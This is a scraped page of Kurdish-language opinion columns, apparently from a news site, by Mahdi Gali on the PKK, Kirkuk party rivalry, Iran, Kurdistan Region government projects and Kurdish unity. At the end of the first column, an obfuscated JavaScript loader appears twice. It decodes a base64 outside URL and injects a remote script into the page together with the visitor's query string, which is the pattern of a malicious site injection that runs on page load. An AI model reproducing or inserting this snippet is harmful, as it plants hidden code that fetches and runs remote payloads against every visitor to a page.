مههدى گلى
ههلبهت ئهڤ كاودانێن نوكه ئهم تێدا دهرباز دبین؛ جهێ دلگرانیێ نه، چونكو ئهم یێن دبینین رۆژانه گوندێن مه یێن دهێنه چۆلكرن دهولهت سهرێ پهكهكێ شهڕێ وێ دگهل لهشكرێ تورك!.. ئهڤ بارودۆخێ نوكه ئهم ل ههرێماكوردستانێ تێدا دژین وهسا دیار دبیت كو سهركردایهتیا پهكهكێ دڤێن ئاخفتنا سهركێشێ خوه بجه بینن ل دهما گۆت،”دێ باشورا كوردستانێ دكهمه ڤێتناما دویێ”!…
ئهز دبێژم ئهو كێشمه كێشمهیا د ناڤبهرا وان دا و ل سهر ئاخا ههرێما كوردستانێ نهخشهیهكا دارشتیه ژبۆ داگیركرنا ههرێماكوردستانێ بهری سیه سالان دا.
دبێژن عهبدوللا ئووجهلان وی دهمێ ئهڤ گۆتنا ل سهرى مه ئینایه زمان یا گۆتى… لێ رێك ئهڤ كاودانا نوكه خهلكێ گوندێن سنووری د ناڤبهرا باشور و باكورێ كوردستانێ تێدا دژین بهر ب هندێ دچیت، ئهم دبینین پتری ژ سیه گوند هاتنه چۆلكرن و ناچار كرن كو دهست ژ بهروبۆمێن خوه وهك بهرههمێن (ههمی جۆرێن فیقی، بنج، باهیڤ،گویز، گهنم و جهـ) و ب خودانكرنا مێشا هنگڤین و ئاژهلان و..هتد؛ بهردهن؟!. ژ ههمی سهیرتر دو ههتا پێنچ گهریللا دچنه ناڤ وان گوندان و دهاڤێنه لهشكرێ ترك و پشتی چهند دهمژمێرهكا كورت ئێكسهر وێرێ بهرددهن و رۆژا پاشتر جهندرمهیێن تورك دهێنه وى جهی وخهلكی ب زۆره ملی دهردئێخن!.
ئهڤه نیڤهكا چیایێ مهتین ژی كهته د دهستێن وان دا، ئهو شهڕێ د ناڤبهرا چهتهیێن پهكهكێ و لهشكرێ تورك تنێ بۆ هندێ یه دا كو ئهڤ كیانێ مه ههیى پێ ژناڤ ببهن، ئێ ئهو چهنده ژی گهلهك و گهلهك یا ئهستهمه و خهیالها خاڤه و یا دویره، چونكو ههرێما كوردستانێ ههرێمهكا دهستووری یه و وهسا ب ساناهیێ ژناڤ ناچیت و ب ساناهى نههاتیه دى و ههمى دزانن كو ب خوین و برینان و شههیدان هاتیه بهستڤه ئینان و ب خهبابات سهدان سالان، وهكی دی ههكه وهكی وان دڤێت كو كوردستان داگیر بكهن، ئهز دبینم گهلهك و گهلهك ب زهحمهته و چ جار و زهمانهك ئهو چهنده سهرناگریت، ل دوماهیێ من دڤێت بێژم، نه ئهمریكا و ولاتێن رۆژئاڤا ناهێلن و رێكێ نادهن كو ئهو وهسا ب ساناهی بهرژهوهندیێن خوه ژبۆ خاترا توركیا ژدهست بدهن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
نووترين نووچه
- سەرۆك بارزانی و شاندەكێ حزبا دەعوە پرسا پێكئینانا حوكمەتا نوو یا ئیراقێ گەنگەشەكر
- پاراستنا زمانێ دایكێ ئەركەكێ نیشتمانییە ل سەر ملێ مە هەموویان
- پاراستنا زمانێ دایك، پاراستنا ناسنامە و پاشەڕۆژا كوردستانێ یە
- زمان بنەمایێ سەرەكیێ ناسنامەیا مە یا نەتەوەییە
- گوهۆڕینێن دیموگرافی و ب ئەرەبكرنێ ل سنۆرێ مادەیێ 140 دهێتە كرن
- سەرۆك بارزانی: ئێكەتییا قوتابییان و لاوان قوتابخانەیا پێگەهاندنا خەباتكاران بوو
- سەرۆك بارزانی پیرۆزباهی ل ڕێكخەرێ گشتیێ بزاڤا گۆڕانێ كر
- گرنگە د حوكمەتا بهێت یا ئیراقێ دا هەڤپشكی و هەڤسەنگی و ل هەڤكرن بنەمایێن سەرەكی یێن هەڤبەندیێ بن ل گەل بەغدا
- نێچیرڤان بارزانی و جۆشوا هاریس دووماهی پێشهاتێن پرۆسەیا سیاسی ل ئیراقێ گەنگەشەكر
- ئێكەتییا قوتابییان و لاوان ڕۆلەكێ كاریگەر د بزاڤا ڕزگاریخوازا گەلێ كوردستانێ دا هەبوو
مههدی گلی
كورد و پارتێن كوردی ل كهركووكێ
مههدى گلى
نهتهوا كورد ل وێ باژێرێ ل سهر پارتێن كوردی دابهشبوویه، لایهنگر و كادیرێن ڤان پارتان ههر ئێك بۆ پارتا خوه خۆش دكهت و ل دویف حهزا خوه و بێی كو راستیان دیار بكهت و باخڤیت ئانكو شرۆڤهكرنهكا مهنتیقیانه بدهت!. چونكو تێگههشتنا وان ههر ههندهیه. ئهز لۆمهیێ وان كهسان ناكهم چونكو سنێله د ژیهكێ٣٠ سالى ههتا ٤٠ سالی نه، ئهڤێن ههنێ هێشتا خوین گهرم و سنێلهنه لێ ئهوكهسێن كو ئهندام مهلبهند و تهمهنێ وانا ل سهر (٥٠) سالیێ دا و دهرچۆیێ زانكۆ بن، دژایهتیا گهلێ خوه بكهن، ئانكو دژایهتیا حزبهكا وهكو پارتی بكهت و تاوانبار بكهت، راستیان نهبێژیت و درهوان ل بهرامبهرێ خوه بكهت نهوهیێ بێژیت، ئهها ئهڤهیه كارهسات؟!. ههروهكه عهرهبهكی شۆفێنی و دوژمنێ كورد و كوردستانێ ل بهرامبهر PDK ههلوهست ههبیت ئهو چهنده مهزنترین كارهساته. ئهڤ جۆره كهسه ههستا نهتهوتیێَ ناهێلن و تاكێ كورد دكهنه دوژمنێ خاك و نیشتمان و ههمی دهستكهفت و هێمایێن نهتهوهیی!…چهند نموونهیان دێ ئێخمه بهر دهستێن خواندهڤانێن هێژا، كادرهكێ حزبهكا پێشچاڤ. دگۆت “پارتی ئهگهرا ژ دهستدانا كهركووكێ بوو، چونكو دڤیا بفرۆشیته رهجهب تهیب!.. ههلبهت ئێكهتى وهك حزبهكا نهتهوهیێ ئهو پیلانگێریا كو پارتی دیموكرات و سهرۆكێ وێ مسعود بارزانی و ئهردۆگان دارشتبوون، ئهمریكا بریتانیا و ئێران و لهشكرێ ئیراقی شكستن پێ ئینان”!. كادرێن نهوهی نوێ. “نهوهی نوێ چو جار و چ زهمان ناهێلیت بنهمالا بارزانی بهردهوام بن و دێ ههر وانا دهینه دادگهها نیڤدهولی سهرا دزینا سهروهت و سامانا مللهتی و ههر ئهم وهك.. نهوهی نوێ، چ ل ئیراقێ و چ ل وهلاتێن رۆژئاڤا بیت مالباتا بارزانی و چهندین كهسایهتی د ناڤ پارتی ددهینه دادگههێن وهلاتێن زلهێز”؟… كادرێن حزبهكا دی دبێژن. ” پێدڤیه پارتی ل خوه بزڤریت و بهرپرسێن حزبی و ئیداری و وان كهسان ئهوێن بناڤێ بنهمالا كوردستان تالان دكهن و رۆژانه خهلكی ب ئازۆقه و دهرمانێن دهم ب سهرڤهچووی تووشی نهساخی وهك پهنجهشێر و ئێشا دلی شهكهرێ كرینه و ههر بهردهوامن، بدهنه دادگهههكا ئازاد و سهربخوه”!. ههروهسا كادرێن ڤێ حزبێ دبێژن. “ههكه بارزانی بڤێت مللهت بدویڤ بكهڤیت بلا گهندهلكاران بدهته دادگههێ داوهكو بهرپرس و كادرێن هیچ لایهنهكێ دی نهوێرین دهست درێژیێ بكهنه سهر سهروهت و سامانێن گهل و نیشتمان”…. نوكه ل ناڤچهیێن كوردستانی ل ژێر دهسههلاتا ئیراقێ ههستا نهتهوایهتیێ نینه و بهلكو ههستا حزبایهتی رۆلێ خوه دبینیت، ئهڤ چهنده ژی بۆ هندێ دزڤریت كو بێژم نهبوو، نهئێكرێزیێ، ئێك ههلوهستی و تهبایی د ناڤبهرا كادرێن پێشكهفتی دا ئهگهره، چونكو ههكه بهرپرسێن ئێكێ یێن پارتێن كوردی ل وێ باژێرێ دهست ژ دژایهتیكرنا ئێكودو بهردهن و ب نهفهسهكێ كوردپهروهریانه كار بكهن ئهز د وێ باوهریێ دامه نهتهوهیێن غهیرى كورد نهشێن بێی كوردان هیچ بریارهكێ ل دژی كوردان بدهن.
دهمێ مافێن نهتهوهی دبنه بانگهشه!
مههدی گلی
گهر هوون ڕاست دبێژن بانگهشهیا وێ ئێكێ دكهن كو ل گهل مافی مرۆڤین و دادپهروهریێنه و كار ژبۆ مافێن گهلان بۆ ئازادی و سهربهخوهیێ دكهن، ئهو هیچ ڕێگریهك نینه ژبلى دانپێدان ب مافێ گهلێ كورد. ههر كهسهك بخوازیت د گهل خوهدا یێ دادپهروهر بیت، دڤێت ل گهل نهتهوهیێن دیتر یێ دادپهروهر بیت، ئهوا بۆ خوه قهبوول دكهت دڤێت بۆ نهتهوهیێن دیتر ژى قهبوول بكهت، ئهگهر نه دێ كهڤیته د شاشیهكێ دا و دوور ژ وژدان و ئهخلاقیهتا مرۆڤهكێ دادپهروهر و ئازادیخواز و ل دوماهیێ ژدهستدانا ستانداردێ ئهخلاقی.
گهلێ كورد ب درێژاییا مێژوویێ ل ناڤ ههر چار وهلاتێن ههڤسوی یێن (ئیراق. ئێران. سووریا. تركیا)، كورد ب درێژاییا مێژوویێ ل ژێر زولما تورك، فورس، عهرهب دا بووینه و نها ژی بیت بهردهوامه.
گهلێ كورد زۆر هاتیه چهوساندن و پتریا ڕێكارێن نادادپهروهری ژ لایێ وان وهلاتان بهرامبهر دهێنه كرن، ئهو وهلاتێن بانگهشهیا هندێ دكهن كو ل ناڤ وهلاتێن وان دا كورد دئازادن!. كورد ههردهم ژ لایێ وان دهسههلاتدارێن وان سێ وهلاتان ڤه تووشی زهلیلكرن و كوشتنا ب كۆم و ئهنفال و كیمیا بارانێ بووینه.
كوردستان ژ ئێكتربڕینا سنوورێن ئێران-تورك-ئیراق-ئهرمهنستان-سووریا پێكهاتیه، ژمارهیا كوردان د جیهانێ دا نێزیكی (٦٠) ملیۆن كهسانه. مهزنترین پشكا وان ژ باشوورێ ڕۆژههلاتێ توركیایه و ژمارهیا وان نێزیكی (١٦) ملیۆن كهسانه، ههروهسا ژمارهیا وان ل ئێرانێ نێزیكی پێنچ ملیۆنانه، ل دهمهكى دا ژماره وان ل ئیراقێ نێزیكی (٥) ملیۆنانه، و زێدهتر ژ (١/٥) ملیۆن و نیڤ ل سووریێ نه. ئهڤه ژبلى ههبوونا كوردی یا كێم ل ئازهربایجانێ و جۆرجیا و لوبنان و ڕۆسیا و ئهلمانیا.
ژمارهیهك ژ مێژوونڤیسان باس ل وێ چهندێ دكهن كو كورد زێدهتر ژ ڕهگهزێ ئاریایی ڤه هاتینه، ههر ژبهر هندێ ژ ڕوویێ نهتهوهیى ڤه ژ ئیرانیان نێزیكتره ژ عهرهب و تورك. هندهك ژ وان دبێژن بنكهكۆكا كوردان عهرهبه، بهلێ ئهڤێ پێدڤی ب پشتڕاستكرنێ ههیه.
كورد ب دهستێ عهرهب و ئیرانی و توركان ڤه زیانهكا زۆری ڤێكهفتیه، نها ژى ب دهستێ داعشێ (دهولهتا ئیسلامی) كو ههولا كۆنترۆلكرنا پێگهه و گوندێن وان دهدهت ل باكورێ ڕۆژههلاتێ سووریێ و ل هێرشێن هشكانی و ئاسمانێن توركیا كو… ههول دهدهن ڕێگریێ ل دامهزراندنا دهولهتا كوردی بكهن یان ل ههرێمهكا سهربهخوهییا كوردی ل باكورێ ڕۆژههلاتێ سووریا و ل باكورێ ئیراق.
ئهگهر وان ولاتان بڤێت و راست دبێژن باوهریا وان ب ئازادیێ و مافێ مرۆڤى و نهتهوێن دیتر ههبیت، پێدڤیه دان ب مافێ كوردان بكهن وهك نهتهوه و خوهدى خاك و ماف و زمان و كهلتۆرهكێ تایبهت ب خوهڤه، كو كورد ژ وان سێ نهتهوهیان كهڤنتره ل دهڤهرێ.
كرمانجیكر/ ئهڤرۆ
ئهرێ ئیران دێ هێته فۆرماتكرن؟
مههدی گلی
هۆسا دیاره روودانێن سالێن بۆرین ل ئیرانێ، بهرسڤا ئهڤێ پسیارێ ددهن، كو ئهگهرێ ههڕفینا ئابوورێ و وهلاتى بوو، كێشه و نهخۆشیێن جڤاكى و سیاسی و دیپلۆماسی و فشارا گهمارۆیان و بێكاریا سهرتاسهری یا تهڤ وهلاتیێن ئاكنجیێن ئیرانێ، شكۆیا ئایهتولا خامهنهیی و ژناڤبرنا ویلایهتا فهقی شكستی یه و هێمایێن نیشادهرا ئهجیهندهیه كو دو رێ ل بهر دهستێن دهستههلاتدارێن ئیرانێ دایه:
1ـ ههلبهت درێژهدان ب سهركۆتكرنا خهلهكى و برسیكرنا وان و ب شێوهیێ دهمكى، ئانكو ههڕفینا رژێما كۆمارا ئیسلامیا ئیرانێ ب تووڕهیێ و بهربهرهكانیا گهلێن ئیرانێ. د حالهتكى دا:
2ـ خامهنهئی و رێبهرێن كۆمارا ئیسلامی نهشێن وهك بهرێ درێژیێ ب حوكمڕانیێ بدهن و دڤێت هێزێن خوه ل ههر ئێك ژ وهلاتێن (سووریا، لوبنان، لیبیا، یهمن، ئیراق، غهززه)، و جهێن دی ڤهكێشنهڤه ژ بۆ ناڤ ئاخا خوه و دهست ژ هنارتنا شۆرشا ئیرانێ و وهلاتێن دی ههلبگرن و ب وی مهزختنا مهزن ژ پارهی ئهوا كو ل دهرڤهیی ئیرانێ ژ بۆ مانا رژێمێ دمهزخینن، بزڤرنیتنهڤه بۆ ئیرانێ و بمهزیخَن ژبۆ ژیارا گهلێن خوه.
3ـ پێدڤیه دهستههلاتداێن ئیرانێ گوهۆرینێ د دستووری دا بكهن و دستوورهكێ نوو دابرێژن، د وی دستووری دا ویلایهتا فهقی دهربئێخن، یهكسانیێ سهرجهم ژ گهلانێن وی وهلاتی و نهتهوهیێن نه فارس پێكبهینن. ئازادیا مهدهنی، وهك ئازادیا مهدهنی و رۆژنامهگهریێ و ئازادیا ههلبژارتنان بێی هیچ جوداهیهكێ دابین بكهن.
4ـ دهرئێخستنا لێبۆرینێ ژ بۆ گشت پارت و گرتیێن سیاسی و ئازادی و دیمۆكراسیهتهكا راستهقینه رابگههینن، پارتێن سیاسی د ناڤ وی وهلاتی دا ب فهرمی بهێنه ناساندن.
5ـ پێدڤیه ل سهر دهستههلاتداران ل وێ وهلاتى دا ب فیدرالیات دابنن، ب مهرجهكى ئهو فیدرالیهت ژی ب فهرمی بهێنه نیاسین، دانپێدانێ پێ بكهن.
ههكه ولایهتا فهقی ل ئیرانێ وان گوهۆرینان جێ بجێ نهكهت، ئهز پشتراستم ل ماوهكێ نێزیك نامینیت و دێ گههیته رژێمێن بهرێ وهك سهدام حسێن و موعهمر قهزافی و عهلی عهبدوللا و عهلی كورێ زهین ئهلعابدین، چێدبیت گهلهك خراپتر ژی ب سهرێ وان بهێت.
كرمانجیكرن/ ئهڤرۆ
ب رویهكێ گهش..!
مههدی گلی
….. ئهز، دبینم كو حوكمهتا ههرێما كوردستانێ رۆژ بۆ رۆژێ بهردهوامه د خزمهتكرن و ئاڤهدانیێ، بهلێ راسته ل دهما ههر كارهك ئانكو پرۆژهیهك د بهرژهوهندیا گهل و ولاتى دا ئهنجامددهت، ئهو بچویكترین كاره، لێ ل ههمان دهمى دا ژی نابیت ئهم بێژین حوكمهت گهندهله و حوكمهتێ چ نهكریه و چ ناكهت، نهخێر وهسا نینه، چونكو حوكمهت بهردهوامه د ئاڤهدانكرن و پێشكێشكرنێ دا بۆ گهل و ولاتى، ب پیچهك رهوشت و وژدان ههبیت ل ههمبهر وان ئهرك و خزمهتگوزاریان ئهوا حوكمهت ئهنجامددهت.. ئهز ب فهر دبینم د گۆتنا خوهدا دیار كو هندهك لایهن ب راگههاندنێن خوهڤه ئهوێن د خزمهتا دوژمنان دا و هنده كهسان ب ناڤ چالاكڤان و رهوشهنبیر و سیاسهتمهدار و شرۆڤهكار تنێ كارێن وان ئهوه كا چاوا ههول بدهن خهلكى بكهنه دوژمنێن حوكمهتا خوه؟.. كا چاوا ئهڤ حوكمهته!. لێ نابێژنه خوه بۆچی ئهم خوه روی ڕهش بكهین و درهوا ل خوه و خه لكێ كوردستانى ژی بكهین، نابێژنه خوه كو خهلكێ كوردستان وان خزمهتگوزاریان ڤه كو ژ لایێ حوكمهتا كوردستانێ ڤه دهێنه پێشكێشكرن یێن ههیین وهك:
1ـ دروستكرنا چهندین رێكێن ستراتیژی ب چهندین كێلۆمهتران وهك رێیا ههولێر دهۆك، رێیا ههولێر بهر ب پیرمام و شهقلاوه و دیانا و چۆمان.
2ـ رێیێن دهۆك بهر ب زاخۆ و دروستكرنا تۆنێلا زاخۆ و رێیێن د ناڤبهرا شێلادزێ و ئامێدیێ و دێرهلۆك..هتد.
3ـ دروستكرنا سایلۆیان ژبۆ وهرگرتنا بهرههمێن جۆتیارێن ههر چار پارێزگههان.
4ـ دروستكرنا چهندین بالهخانه یێن گرنگ بۆ رێڤهبهریێن سهر ب وهزاراتێن حوكمهتا كوردستانێ.
5ـ دروستكرن و دابینكرنا پێداویستیان ژبۆ تۆرێن ئاڤا ڤهخوارنێ و باژار و باژاركێن سهر ب پارێزگههێن كوردستان ڤه.
6ـ دروستكرن و نویژهنكرنا زانكۆیێن سلێمانی و ههولێر و دهۆك، ههروهسا دروستكرنا چهندین تاقیگه بۆ زانكۆ یێن ههولێر، سلێمانی، دهۆك.
ژبلی دههان پرۆژهیێن دن و یێن گرنگ.
ئهرێ باشه ما هوین نابێژنه خوه ئهم بۆچی گلهوگازندان ژ حوكمهتێ بكهین؟ ئهرێ باشه بۆچی پرسیار ژ خوه ناكهن و بێژنه خوه ئهرێ ههتا گهنگی ئهم گوهێ خوه بدهینه نهحهز و نهیار و دوژمنێن كورد كوردستانێ. ل دژێ حوكمهتا ههرێمێ براوهستین. خاڵهكا دن من دڤێت دیاركهم و بێژمه وان لایهنان ئهوێن د ههڵبژارتنا10/10/2021 دا دۆڕان (خساره)، ئهڤ ههمی كێشه ژبۆ چ و ژبهچی یه ؟.. ئهرێ مهرهما ههوه ئهوه كو ههر ژ ڤێگاڤێ ههول ددهن بۆ ههلبژارتنا پهرلهمانێ كوردستانێ یێن بهێن كار دكهن دا وهكو چهند كورسیكهكان بدهستخوهڤه بینن، ههكه وهسانه ئهو چهندا ههنێ دبیته موزایهدهیهكا نهشهریفانه و ل سهر حیسابا حوكمهتا كوردستانێ. خۆزی ل وولاتێ من ئۆپۆزسیۆنهكا نیمچه رۆژئاڤایی ههبا…
خیانهتكرن ژبۆ چ و بۆچی ل دژی كوردان؟!
مههدی گلی
پهكهكێ هیچ دهمهكى خزمهتا نه كوردان و نه بهرژهوهندیا وان گههاندیه، بهلكو دروستكردنا پهكهكێ واتى لێدان ل بهرژهوهندیێن كوردان و ههبوونا كیانهكى ب ناڤی كیانێ سهربخوهیا كوردستانى؟. ل ڤێره دا ئهز بهحسێ پالپشتیا ئیرانێ ناكهم، كو ههتا چ ڕادده ل ههر بزاڤهكا پهكهكه، دكهت و ل ههمان دهمى دا، پهكهكه بهرژهوهندیێن ئیرانێ دپارێزێت، ئهوا نها ل كوردستانا ڕۆژئاڤا رووددهت و مهترسی دكهڤیته سهر، ههر روودانهكا نهخوازرا و یان ههر كارهساتهكا مرۆڤاتیی ل وێ پارچا كوردستانێ روی بدهت، ئهو سهركردایهتیا پهكهكێ ژێ بهرپرسه، چونكو بووینه خزمهتكارهك، ب مهرجهكى، ئیران چ داخوازایهكێ ژێ بكهت ئهو دهملدهست جێبهجێی دكهن. بۆ نمۆنه، پهكهكێ بۆریا نهفتا ههرێما كوردستانێ بۆ توركیا تهقاندهڤه، بهلێ بۆچى لایێ بۆریا نهفتا ئیرانێ بۆ توركیا ناچیت؟ زۆر ژمێژ نینه كو حوكمهتا ههرێما كوردستانێ ڕاگههاندى: ل ڕۆژا چار شهمبى 28/10/ 2020 كو بۆرییا هنارتنا نهفتا ههرێمێ پهقاندیه.
ل ههمان دهمى دا، ههپهكه دبێژیت: چهكین وێ بۆریا نهفتێ ل باكۆرێ كوردستانێ پهقاندیه!.
د ڕاگههاندكێ دا، ههروهسا دبێژیت: هێزێن مه ل ڕۆژا 28/10/2020 ل دژی بۆریا نهفتا بۆتاش ل ههرێما باگۆكی سهر ب باژارێ مێردینێ ڤه چالاكیی ب سهركهفتیانه بڕێڤهبر و د وێ چالاكیێ دا بۆریا نهفتێ ب تهڤاڤی ژناڤچوو. پرسیار ل ڤێره دا ئهڤهیه كو بێژین: ئهرێ لایهنگرێن پهكهكێ، ههرگیز بیرا وان ل وێ خهیابهته كرینه و پرسینه، بۆچی پهكهكێ ل دهمهكى دا كوردستان سهر ب ڕژێما ئیراقێ ڤه و د دۆرپێچا ئابووری دا بوو، بۆریا نهفتا كوردستانێ پهقاندبوو؟
ل دهمێ وێ روودانێ چهندین شرۆڤهكارێن رۆژئاڤایێ گوتین، پهقاندنا وێ بۆریا نهفتێ، ل سهر داخوازا ئیران بوویه..
كرمانجیكرن/ ئهڤرۆ
ئاماژهیێن دامهرزاندنا حزبهكێ ههنه!
مههدى گلى
وهكو دهێته بهیستن كو لاهۆر جهنگی ل هیڤیا بریارا دووماهی نامێ یه، ئهوا بۆ مهكتهبا سیاسی یا ئێكهتیێ فرێكری، ڤیجا ئهز نزانم كا چ د وێ نامێ دا هاتیه نڤیسین، وهكی من زانی كۆپیهك ژ وێ نامهیا ئهوا لاهۆر فرێكریه بۆ مهكتب سیاسیێ حزبا خوه، كوپیهك فرێكریه بۆ كونسخانهیا ئێران ل باژێرێ سلێمانی،
ئهگهر باڤڵ تاڵهبانی ههڤاڵێن وی ل مهكتب سیاسی ڕژد بوون لسهر لادانا لاهۆر وهك ههڤسهرۆك و سركرنا وی د ناڤ یهكێتی دا وهك دوماهیك بریار، وی دهمی لاهۆر دێ حزبهكێ رادگههینیت. ههلبهت ئهو چهنده ژی دێ ئێران پشتهڤانیا خوه و ب ههمی ڕهنگهكى بۆ جهنگی دیاردكهت.
بهلێ پرسیار ل ڤێرێ ئهوه، ئهرێ ههكه ناڤبری رابوو ب راگههاندنا حزبهكێ، دێ چارهنڤیسا (یهنهكێ) چ بیت؟. ئهرێ چهند ژ ئهوێ حزبێ دهردكهڤن و ل گهل جهنگی دبن، ئهرێ چهند ژ گۆرانێ دێ چنه د ناڤ رێزێن لاهۆرى و حزبا وی دا. ئهرێ ههكه ئهو حزب هاته دامهزراندن، پێشوازیكرنا ئیرانێ و حهشدا وهحشی و ب تایبهت پاسداران دێ ههتا چ رادده بیت؟.. ههلبهت گومان تێدا نینه پاسدارا ئیران دێ گهلهك و گهلهك ژی پشتهڤانیا خو بۆ ههر حزبهكێ ل دژی بهرژهوهندیێن حوكمهتا ههرێمێ و ئهمریكا ههڤپهیمانان بیت دێ دهربڕیت، چونكو دێ د خزمهتا بهرژهوهندیێن ئێرانێ دا بیت، چونكو مهدیت چاوا ل 16 ئۆكتۆبهرا 2017 دا وهك وهفاداریهك كهركووك رادهستێ پاسداران كر.
ل سالا 2016 من گۆتارهك نڤیسی ل سهر فرۆتنا باژێرێ كهركووكێ، كو ژ لایێ هندهك كهسایهتیێن د ناڤ یهكێتی دا دهێته فرۆتن، د وێ وهختی دا هندهك خهلكى یاریێن خوه ب من دكرن.
لێ رێك وهسان دهركهفت قودسا كوردستانێ ل 16 ئۆكتۆبهرا ٢٠١٧ هاته فرۆتن، نوكه ژی دبێژم ئهز ب دویر نابینم ههكه لاهۆر جهنگی حزبا خوه راگههاند، پشتی ساڵهكێ، ئانكۆ دو سال پتر نابۆرن، مل ب ملێ پهكهكێ ڤه؟. دێ گهڕهكا دی ژ شهڕێ ناڤخوه دێ دهستپێكهن و ئهو شهڕ ژی ل باژێرێ سلێمانێ دهست پێدكهت، خۆشكرنا وى ئاگرى ژی دێ ئێران بیت.
ب ههرحال: ئهوا من دڤێت بێژم، كو پێدڤیه حوكمهتا ههرێما كوردستانێ لسهر وى بابهتى گهلهك و گهلهك ب رژدی رابوهستیت، چونكۆ باشترین دهرفت ژبۆ دوژمنى ههبوونا كهلێنهكا سیاسی یه ل كوردستان درست ببیت، وی دهمی ئیران و تركیا ب ساناهی دهێنه د ناڤ ئاخا كوردستانێ دا و ههر ئێك ژ وانا ب ههجهتا خالهكێ بیت، بۆ نهمونه، ئیران ب ههجهتا ئاشتهوایی ناڤمالا كوردی، توركیا ب ههجهتا تهڤگهرا ئازادی كو پشكهكه ژ پهكهكێ و ههبوونا پهكهكێ د ناڤ باژێر و باژێروكێن سلێمانیێ دا، وهك چاوا من دیت بهری چهند رۆژهكان فرۆكێن جهنگی یێ توركیا دهوروبهرێتن سلێمانیێ مۆشهك بارانكر.
ل بهرامبهرى هێزێ!
مههدی گلی
مافێ ههر پارتهكێ یه خهلكى بۆ خوه رازی بكهت، بێگومان ههر ئێك ژ وان پارتێن ههڤڕك ژى بهرنامهیێن خوه پێشكێشێ خهلكی دكهن، بۆ نموونه پارتی دیمۆكراتی كوردستان، كو سهرجهم ئهوێ خزمهتا كو گههاندیه باژار و باژاركێن لسهرتاسهرى كوردستانێ، وهك چهندین پرۆژهیێن مهزن و خزمهتگوزاریێ و دروستكرنا پر و ڕێكوبانان و..هتد، سهبارهت بانگهشه یێن حزبێن دی. مخابن بانگهشهیێن وان ههر ههمی ل دژی پارتینه! ئهو بانگهشهیا دكهن ههر ههمی ل دژێ پارتینه و ئهو چهنده ژی ههمان دژایهتیكرنه ئهوا دوژمنێن كورد وكوردستانێ بانگهشێ بۆ دكهن ب رێیا چهتهیێن خوه.. ل ڤێرێ ئهز بهحسێ وان دكهم یێن ل رهخێ سلێمانیێ، هوون باش و باش دزانن كو پارتی ههیه و ژبن ناچیت، دڤێت شهرمێ ژ مێژوویا خوه بكهن، چ نهما ل دژی پارتی نهكرین، ژ لایێ چهكداریێ و خیانهتكرن ل دژی ههرێما كوردستانێ، هوون ههر ئهو بوون كو ل سالا 1996 ل گهل پهكهكێ و ب پاڵشتیا تۆپخانهیێن ئیرانێ و ژ ههمی ڕهخاڤه دههولا هندێ دا بوون پارتی ژ ناڤبهن؟. ب ههندێ ژی نهوهستیان ل 16 ئۆكتۆبهرا 2017 وه كهركووك فرۆتى، ئهو باژێرێ كو مام جهلال دگوت: كهركووك قودسی كوردستانه، ههر مام جهلال دگوت.
یان كهركووك و خانهقین و یان تا ماوین دهجهنگین. چونكو پارتی حزبهكا كوردستانی و حزبهكا نهتهوهی یه و تهنازل ژ بهۆستهكێ ژ ئاخا كوردستانێ ناكهت. ههلبهت ئهو چهنده بوویه ئهگهر كو ههوه و نهیارێن كورد و كوردستانێ پێكڤه ل دژێ پارتی ڕادوهستن و كهربوكینێ ب ڕێیا بانگهشا ههڵبژارتنان دهردئێخن. دوماهى پهیڤ بۆ ههوه ئهوه كو بێژم پارتی دیمۆكراتی كور
شوونگرێ ئێكرێزیێ چیه؟!
مههدی گلی
ئهو مهترسیێن ل سهر ههرێماكوردستانێ دهێنه پێش نهدكێمن، چونكو نهیارێن كورد و كوردستانێ د مژوولێ ههژاندنا سهرجهم دهستكهفتیێن ههرێما كوردستانێ نه دا وهكو ئهو ئارامیا ل كوردستانێ یا ههیی نههێلن و بههژینن، لێ ههرچهنده پێشمهرگه و دهزگههێن ئاساییشێ دابهش بووینه ل سهر ههردو هێزێن دهستههڵاتدار (یهكێتی نیشتمانی و پارتی دیمۆكراتی كوردستان)، لێ ههردهمهك مهترسیێ ڕوی ل كوردستانێ كربیت، ئهو دو هێز پێكڤه بهرگریێ ژ گهل و وهلات كرینه، وهك نموونه تیرۆرستێن (داعش) كا چاوا مه ههمیان دیت سهنگهر بووینه ئێك، ئهڤ چهنده ژی نیشانا هندێ یه كو بێژین ئهو دو پارت دێ شێن ب چهند دانۆستاندنهك و ب ههستهكێ كوردایهتی و برایهتیێ و پاراستنا ئێكڕێزیا ناڤمالیا كوردی، بگههنه ئهنجامهكی وهكو خودان ئێك لهشكر و ئێك دهزگههێن ئهمنی و ئیداری، وهك بهرپرسیارى و نیشتیمانپهروهریێ، ئهڤه ژبلی ئهو ململانا ناڤخوهیی ڕوی ب ڕوی بوونا پیلانێن دوژمنان دبن، ههلبهت ئێكڕێزی باشترین و دووماهی بژارهیه و شوونگرێ ئێكڕێزیێ ههر ئێكڕێزییه، ئهڤجا سهبارهت سهردانێن بۆ جهنابێ سهرۆكێ ههرێما كوردستانێ كاك نێچیرڤان بارزانی ل ههولێرا پایتهخت دهێن و ل بهرامبهرى ژى یا ل باژارێ سلێمانیێ دهێته كرن دهستخستن د ناڤ دهستهكێ خاین و خاكفڕۆش و چهته دا، ههر مهرهم پێ ئهوه داوهكو ناڤماڵا كوردی ڕێك بئێخت؟. لێ مخابن ئهز نابینم كو باڵێ خیانهتكار د ناڤ ئێكهتیێ، ئهو مهسج ب ههند وهربگرن؟. و رژد بن كو ئێكڕێزیا ناڤماڵا كوردی بپارێزن و دهست ژ خیانهتێ و موزایهدێ بهردهن؟. ئهم بلا ب ئاشكراتر و ڕۆهنتر باخڤین و بێژین، كو ئهوژى، ئێران چو جاران ناهێلیت ناڤمالا كوردی ببته ئێك!، سهبارهت ب تركیا، ئهو ژی ژ لایهكێ دیڤه ههمان ههلویسته ل دژێ ههرێما كوردستانێ! بههانهیا ڕاهێلانا پهكهكێ چاوا ئاگر بهرددهته گوندو ئاقارێن باشورێ كورد ستانێ!، ههڵبهت ئهم ههمی دبینین سهركرده و سیاسهتمهدار ودبلۆماتكار و جهنهڕالاتێن 